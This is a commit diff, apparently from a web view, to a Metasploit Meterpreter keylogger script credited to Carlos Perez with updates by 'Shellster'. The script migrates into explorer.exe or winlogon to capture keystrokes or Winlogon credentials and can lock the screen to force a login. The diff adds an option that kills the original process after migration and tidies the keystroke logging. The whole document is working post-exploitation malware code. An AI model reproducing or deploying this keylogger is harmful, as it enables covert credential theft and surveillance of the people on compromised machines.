1
1
# $Id$
2
2
# $Revision$
3
3
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
4
+ # Updates by Shellster
4
5
#-------------------------------------------------------------------------------
5
6
session = client
6
7
# Script Options
7
8
@@exec_opts = Rex ::Parser ::Arguments . new (
8
9
"-h" => [ false , "Help menu." ] ,
9
10
"-t" => [ true , "Time interval in seconds between recollection of keystrokes, default 30 seconds." ] ,
10
11
"-c" => [ true , "Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default is 0." ] ,
11
- "-l" => [ false , "Lock screen when capturing Winlogon credentials." ]
12
+ "-l" => [ false , "Lock screen when capturing Winlogon credentials." ] ,
13
+ "-k" => [ false , "Kill old Process" ]
12
14
)
13
15
def usage
14
16
print_line ( "Keylogger Recorder Meterpreter Script" )
@@ -50,7 +52,7 @@ def lock_screen
50
52
end
51
53
end
52
54
#Function to Migrate in to Explorer process to be able to interact with desktop
53
- def explrmigrate ( session , captype , lock )
55
+ def explrmigrate ( session , captype , lock , kill )
54
56
#begin
55
57
if captype . to_i == 0
56
58
process2mig = "explorer.exe"
@@ -73,6 +75,16 @@ def explrmigrate(session,captype,lock)
73
75
print_status ( "\t #{ process2mig } Process found, migrating into #{ x [ 'pid' ] } " )
74
76
session . core . migrate ( x [ 'pid' ] . to_i )
75
77
print_status ( "Migration Successful!!" )
78
+
79
+ if ( kill )
80
+ begin
81
+ print_status ( "Killing old process" )
82
+ client . sys . process . kill ( mypid )
83
+ print_status ( "Old process killed." )
84
+ rescue
85
+ print_status ( "Failed to kill old process." )
86
+ end
87
+ end
76
88
end
77
89
end
78
90
return true
@@ -125,14 +137,19 @@ def write_keylog_data session, logfile
125
137
end
126
138
127
139
sleep ( 2 )
128
- file_local_write ( logfile , "#{ outp } \n " )
140
+
141
+ if ( outp . length > 0 )
142
+ file_local_write ( logfile , "#{ outp } \n " )
143
+ end
129
144
end
130
145
131
146
# Function for Collecting Capture
132
147
def keycap ( session , keytime , logfile )
133
148
begin
134
149
rec = 1
135
150
#Creating DB for captured keystrokes
151
+ file_local_write ( logfile , "" )
152
+
136
153
print_status ( "Keystrokes being saved in to #{ logfile } " )
137
154
#Inserting keystrokes every number of seconds specified
138
155
print_status ( "Recording " )
@@ -157,6 +174,8 @@ def keycap(session, keytime, logfile)
157
174
158
175
helpcall = 0
159
176
lock = false
177
+ kill = false
178
+
160
179
@@exec_opts . parse ( args ) { |opt , idx , val |
161
180
case opt
162
181
when "-t"
@@ -167,10 +186,12 @@ def keycap(session, keytime, logfile)
167
186
usage
168
187
when "-l"
169
188
lock = true
189
+ when "-k"
190
+ kill = true
170
191
end
171
192
}
172
193
if client . platform =~ /win32|win64/
173
- if explrmigrate ( session , captype , lock )
194
+ if explrmigrate ( session , captype , lock , kill )
174
195
if startkeylogger ( session )
175
196
keycap ( session , keytime , logfile )
176
197
end
0 commit comments